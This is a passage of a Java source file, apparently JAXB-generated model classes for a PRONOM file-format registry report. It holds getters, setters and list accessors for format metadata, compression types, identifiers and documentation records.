@XmlElement(name = \"FormatNote\")\r\n protected String formatNote;\r\n @XmlElement(name = \"FormatRisk\")\r\n protected String formatRisk;\r\n @XmlElement(name = \"Container\")\r\n protected ContainerType container;\r\n @XmlElement(name = \"TechnicalEnvironment\")\r\n protected String technicalEnvironment;\r\n @XmlElement(name = \"FileFormatIdentifier\")\r\n protected List fileFormatIdentifier;\r\n @XmlElement(name = \"Document\")\r\n protected List document;\r\n @XmlElement(name = \"ExternalSignature\")\r\n protected List externalSignature;\r\n @XmlElement(name = \"InternalSignature\")\r\n protected List internalSignature;\r\n @XmlElement(name = \"FidoSignature\")\r\n protected List fidoSignature;\r\n @XmlElement(name = \"RelatedFormat\")\r\n protected List relatedFormat;\r\n @XmlElement(name = \"CompressionType\")\r\n protected List compressionType;\r\n\r\n /**\r\n * Gets the value of the formatID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getFormatID() {\r\n return formatID;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatID(String value) {\r\n this.formatID = value;\r\n }\r\n\r\n public String getPronomID() {\r\n \tIterator it = this.getFileFormatIdentifier().iterator();\r\n \twhile (it.hasNext()) {\r\n \t\tFileFormatIdentifier ffi = it.next();\r\n \t\tIdentifierTypes type = ffi.getIdentifierType();\r\n \t\tif (type==IdentifierTypes.PUID) return ffi.getIdentifier();\r\n \t}\r\n return \"\";\r\n }\r\n \r\n public String getExtensionList() {\r\n \tString retString =\"\";\r\n \tIterator it = this.getExternalSignature().iterator();\r\n \twhile (it.hasNext()) {\r\n \t\tExternalSignature es = it.next();\r\n \t\tSignatureTypes type = es.getSignatureType();\r\n \t\tif (type==SignatureTypes.File_extension) {\r\n \t\t\tif (retString.equals(\"\")) {\r\n \t\t\t\tretString = es.getSignature();\r\n \t\t\t} else {\r\n \t\t\tretString = retString + \", \" + es.getSignature(); \t\t\t\t\r\n \t\t\t}\r\n \t\t}\r\n \t}\r\n \treturn retString;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatName() {\r\n return formatName;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatName(String value) {\r\n this.formatName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatVersion property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatVersion() {\r\n return formatVersion;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatVersion property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatVersion(String value) {\r\n this.formatVersion = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatAliases property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatAliases() {\r\n return formatAliases;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatAliases property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatAliases(String value) {\r\n this.formatAliases = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatFamilies property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatFamilies() {\r\n return formatFamilies;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatFamilies property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatFamilies(String value) {\r\n this.formatFamilies = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatTypes property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatTypes() {\r\n return formatTypes;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatTypes property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatTypes(String value) {\r\n this.formatTypes = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatDisclosure property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatDisclosure() {\r\n return formatDisclosure;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatDisclosure property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatDisclosure(String value) {\r\n this.formatDisclosure = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatDescription property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatDescription() {\r\n return formatDescription;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatDescription property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatDescription(String value) {\r\n this.formatDescription = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the binaryFileFormat property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getBinaryFileFormat() {\r\n return binaryFileFormat;\r\n }\r\n\r\n /**\r\n * Sets the value of the binaryFileFormat property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setBinaryFileFormat(String value) {\r\n this.binaryFileFormat = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the byteOrders property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getByteOrders() {\r\n return byteOrders;\r\n }\r\n\r\n /**\r\n * Sets the value of the byteOrders property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setByteOrders(String value) {\r\n this.byteOrders = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the releaseDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getReleaseDate() {\r\n return releaseDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the releaseDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setReleaseDate(String value) {\r\n this.releaseDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the withdrawnDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getWithdrawnDate() {\r\n return withdrawnDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the withdrawnDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setWithdrawnDate(String value) {\r\n this.withdrawnDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the provenanceSourceID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getProvenanceSourceID() {\r\n return provenanceSourceID;\r\n }\r\n\r\n /**\r\n * Sets the value of the provenanceSourceID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setProvenanceSourceID(String value) {\r\n this.provenanceSourceID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the provenanceName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getProvenanceName() {\r\n return provenanceName;\r\n }\r\n\r\n /**\r\n * Sets the value of the provenanceName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setProvenanceName(String value) {\r\n this.provenanceName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the provenanceSourceDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getProvenanceSourceDate() {\r\n return provenanceSourceDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the provenanceSourceDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setProvenanceSourceDate(String value) {\r\n this.provenanceSourceDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the provenanceDescription property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getProvenanceDescription() {\r\n return provenanceDescription;\r\n }\r\n\r\n /**\r\n * Sets the value of the provenanceDescription property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setProvenanceDescription(String value) {\r\n this.provenanceDescription = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the lastUpdatedDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getLastUpdatedDate() {\r\n return lastUpdatedDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the lastUpdatedDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setLastUpdatedDate(String value) {\r\n this.lastUpdatedDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatNote() {\r\n return formatNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatNote(String value) {\r\n this.formatNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the formatRisk property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getFormatRisk() {\r\n return formatRisk;\r\n }\r\n\r\n /**\r\n * Sets the value of the container property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link ContainerType }\r\n * \r\n */\r\n public void setContainer(ContainerType value) {\r\n this.container = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the container property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link ContainerType }\r\n * \r\n */\r\n public ContainerType getContainer() {\r\n return container;\r\n }\r\n\r\n /**\r\n * Sets the value of the formatRisk property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setFormatRisk(String value) {\r\n this.formatRisk = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the technicalEnvironment property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getTechnicalEnvironment() {\r\n return technicalEnvironment;\r\n }\r\n\r\n /**\r\n * Sets the value of the technicalEnvironment property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setTechnicalEnvironment(String value) {\r\n this.technicalEnvironment = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the fileFormatIdentifier property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the fileFormatIdentifier property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getFileFormatIdentifier().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.FileFormatIdentifier }\r\n * \r\n * \r\n */\r\n public List getFileFormatIdentifier() {\r\n if (fileFormatIdentifier == null) {\r\n fileFormatIdentifier = new ArrayList();\r\n }\r\n return this.fileFormatIdentifier;\r\n }\r\n\r\n /**\r\n * Gets the value of the document property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the document property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getDocument().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document }\r\n * \r\n * \r\n */\r\n public List getDocument() {\r\n if (document == null) {\r\n document = new ArrayList();\r\n }\r\n return this.document;\r\n }\r\n\r\n /**\r\n * Gets the value of the externalSignature property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the externalSignature property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getExternalSignature().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.ExternalSignature }\r\n * \r\n * \r\n */\r\n public List getExternalSignature() {\r\n if (externalSignature == null) {\r\n externalSignature = new ArrayList();\r\n }\r\n return this.externalSignature;\r\n }\r\n\r\n /**\r\n * Gets the value of the internalSignature property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the internalSignature property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getInternalSignature().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature }\r\n * \r\n * \r\n */\r\n public List getInternalSignature() {\r\n if (internalSignature == null) {\r\n internalSignature = new ArrayList();\r\n }\r\n return this.internalSignature;\r\n }\r\n\r\n /**\r\n * Gets the value of the fidoSignature property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the internalSignature property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getFidoSignature().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature }\r\n * \r\n * \r\n */\r\n public List getFidoSignature() {\r\n if (fidoSignature == null) {\r\n \tfidoSignature = new ArrayList();\r\n }\r\n return this.fidoSignature;\r\n }\r\n\r\n /**\r\n * Gets the value of the relatedFormat property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the relatedFormat property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getRelatedFormat().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.RelatedFormat }\r\n * \r\n * \r\n */\r\n public List getRelatedFormat() {\r\n if (relatedFormat == null) {\r\n relatedFormat = new ArrayList();\r\n }\r\n return this.relatedFormat;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionType property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the compressionType property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n             *    getCompressionType().add(newItem);\r\n             * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.CompressionType }\r\n * \r\n * \r\n */\r\n public List getCompressionType() {\r\n if (compressionType == null) {\r\n compressionType = new ArrayList();\r\n }\r\n return this.compressionType;\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"compressionID\",\r\n \"compressionName\",\r\n \"compressionVersion\",\r\n \"compressionAliases\",\r\n \"compressionFamilies\",\r\n \"description\",\r\n \"lossiness\",\r\n \"releaseDate\",\r\n \"withdrawnDate\",\r\n \"compressionDocumentation\",\r\n \"compressionIPR\",\r\n \"compressionNote\",\r\n \"compressionIdentifier\"\r\n })\r\n public static class CompressionType {\r\n\r\n @XmlElement(name = \"CompressionID\")\r\n protected String compressionID;\r\n @XmlElement(name = \"CompressionName\")\r\n protected String compressionName;\r\n @XmlElement(name = \"CompressionVersion\")\r\n protected String compressionVersion;\r\n @XmlElement(name = \"CompressionAliases\")\r\n protected String compressionAliases;\r\n @XmlElement(name = \"CompressionFamilies\")\r\n protected String compressionFamilies;\r\n @XmlElement(name = \"Description\")\r\n protected String description;\r\n @XmlElement(name = \"Lossiness\")\r\n protected String lossiness;\r\n @XmlElement(name = \"ReleaseDate\")\r\n protected String releaseDate;\r\n @XmlElement(name = \"WithdrawnDate\")\r\n protected String withdrawnDate;\r\n @XmlElement(name = \"CompressionDocumentation\")\r\n protected String compressionDocumentation;\r\n @XmlElement(name = \"CompressionIPR\")\r\n protected String compressionIPR;\r\n @XmlElement(name = \"CompressionNote\")\r\n protected String compressionNote;\r\n @XmlElement(name = \"CompressionIdentifier\")\r\n protected List compressionIdentifier;\r\n\r\n /**\r\n * Gets the value of the compressionID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getCompressionID() {\r\n return compressionID;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionID(String value) {\r\n this.compressionID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionName property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionName() {\r\n return compressionName;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionName property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionName(String value) {\r\n this.compressionName = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionVersion property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionVersion() {\r\n return compressionVersion;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionVersion property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionVersion(String value) {\r\n this.compressionVersion = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionAliases property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionAliases() {\r\n return compressionAliases;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionAliases property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionAliases(String value) {\r\n this.compressionAliases = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionFamilies property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionFamilies() {\r\n return compressionFamilies;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionFamilies property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionFamilies(String value) {\r\n this.compressionFamilies = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the description property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getDescription() {\r\n return description;\r\n }\r\n\r\n /**\r\n * Sets the value of the description property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setDescription(String value) {\r\n this.description = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the lossiness property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getLossiness() {\r\n return lossiness;\r\n }\r\n\r\n /**\r\n * Sets the value of the lossiness property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setLossiness(String value) {\r\n this.lossiness = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the releaseDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getReleaseDate() {\r\n return releaseDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the releaseDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setReleaseDate(String value) {\r\n this.releaseDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the withdrawnDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getWithdrawnDate() {\r\n return withdrawnDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the withdrawnDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setWithdrawnDate(String value) {\r\n this.withdrawnDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionDocumentation property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionDocumentation() {\r\n return compressionDocumentation;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionDocumentation property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionDocumentation(String value) {\r\n this.compressionDocumentation = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionIPR property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionIPR() {\r\n return compressionIPR;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionIPR property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionIPR(String value) {\r\n this.compressionIPR = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getCompressionNote() {\r\n return compressionNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the compressionNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setCompressionNote(String value) {\r\n this.compressionNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the compressionIdentifier property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the compressionIdentifier property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n                 *    getCompressionIdentifier().add(newItem);\r\n                 * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat.CompressionType.CompressionIdentifier }\r\n * \r\n * \r\n */\r\n public List getCompressionIdentifier() {\r\n if (compressionIdentifier == null) {\r\n compressionIdentifier = new ArrayList();\r\n }\r\n return this.compressionIdentifier;\r\n }\r\n\r\n\r\n /**\r\n *

Java class for anonymous complex type.\r\n * \r\n *

The following schema fragment specifies the expected content contained within this class.\r\n * \r\n *

\r\n                 * &lt;complexType>\r\n                 *   &lt;complexContent>\r\n                 *     &lt;restriction base=\"{http://www.w3.org/2001/XMLSchema}anyType\">\r\n                 *       &lt;sequence>\r\n                 *         &lt;element name=\"Identifier\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\r\n                 *         &lt;element name=\"IdentifierType\" type=\"{http://www.w3.org/2001/XMLSchema}string\" minOccurs=\"0\"/>\r\n                 *       &lt;/sequence>\r\n                 *     &lt;/restriction>\r\n                 *   &lt;/complexContent>\r\n                 * &lt;/complexType>\r\n                 * 
\r\n * \r\n * \r\n */\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"identifier\",\r\n \"identifierType\"\r\n })\r\n public static class CompressionIdentifier {\r\n\r\n @XmlElement(name = \"Identifier\")\r\n protected String identifier;\r\n @XmlElement(name = \"IdentifierType\")\r\n protected String identifierType;\r\n\r\n /**\r\n * Gets the value of the identifier property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIdentifier() {\r\n return identifier;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifier property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifier(String value) {\r\n this.identifier = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the identifierType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getIdentifierType() {\r\n return identifierType;\r\n }\r\n\r\n /**\r\n * Sets the value of the identifierType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setIdentifierType(String value) {\r\n this.identifierType = value;\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"documentID\",\r\n \"displayText\",\r\n \"documentType\",\r\n \"availabilityDescription\",\r\n \"availabilityNote\",\r\n \"publicationDate\",\r\n \"titleText\",\r\n \"documentIPR\",\r\n \"documentNote\",\r\n \"documentIdentifier\",\r\n \"author\",\r\n \"publisher\"\r\n })\r\n public static class Document {\r\n\r\n @XmlElement(name = \"DocumentID\")\r\n protected String documentID;\r\n @XmlElement(name = \"DisplayText\")\r\n protected String displayText;\r\n @XmlElement(name = \"DocumentType\")\r\n protected String documentType;\r\n @XmlElement(name = \"AvailabilityDescription\")\r\n protected String availabilityDescription;\r\n @XmlElement(name = \"AvailabilityNote\")\r\n protected String availabilityNote;\r\n @XmlElement(name = \"PublicationDate\")\r\n protected String publicationDate;\r\n @XmlElement(name = \"TitleText\")\r\n protected String titleText;\r\n @XmlElement(name = \"DocumentIPR\")\r\n protected String documentIPR;\r\n @XmlElement(name = \"DocumentNote\")\r\n protected String documentNote;\r\n @XmlElement(name = \"DocumentIdentifier\")\r\n protected List documentIdentifier;\r\n @XmlElement(name = \"Author\")\r\n protected List author;\r\n @XmlElement(name = \"Publisher\")\r\n protected List publisher;\r\n\r\n /**\r\n * Gets the value of the documentID property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n @NonVisual\r\n public String getDocumentID() {\r\n return documentID;\r\n }\r\n\r\n /**\r\n * Sets the value of the documentID property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setDocumentID(String value) {\r\n this.documentID = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the displayText property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getDisplayText() {\r\n return displayText;\r\n }\r\n\r\n /**\r\n * Sets the value of the displayText property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setDisplayText(String value) {\r\n this.displayText = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the documentType property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getDocumentType() {\r\n return documentType;\r\n }\r\n\r\n /**\r\n * Sets the value of the documentType property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setDocumentType(String value) {\r\n this.documentType = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the availabilityDescription property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getAvailabilityDescription() {\r\n return availabilityDescription;\r\n }\r\n\r\n /**\r\n * Sets the value of the availabilityDescription property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setAvailabilityDescription(String value) {\r\n this.availabilityDescription = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the availabilityNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getAvailabilityNote() {\r\n return availabilityNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the availabilityNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setAvailabilityNote(String value) {\r\n this.availabilityNote = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the publicationDate property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getPublicationDate() {\r\n return publicationDate;\r\n }\r\n\r\n /**\r\n * Sets the value of the publicationDate property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setPublicationDate(String value) {\r\n this.publicationDate = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the titleText property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getTitleText() {\r\n return titleText;\r\n }\r\n\r\n /**\r\n * Sets the value of the titleText property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setTitleText(String value) {\r\n this.titleText = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the documentIPR property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getDocumentIPR() {\r\n return documentIPR;\r\n }\r\n\r\n /**\r\n * Sets the value of the documentIPR property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setDocumentIPR(String value) {\r\n this.documentIPR = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the documentNote property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getDocumentNote() {\r\n return documentNote;\r\n }\r\n\r\n /**\r\n * Sets the value of the documentNote property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n 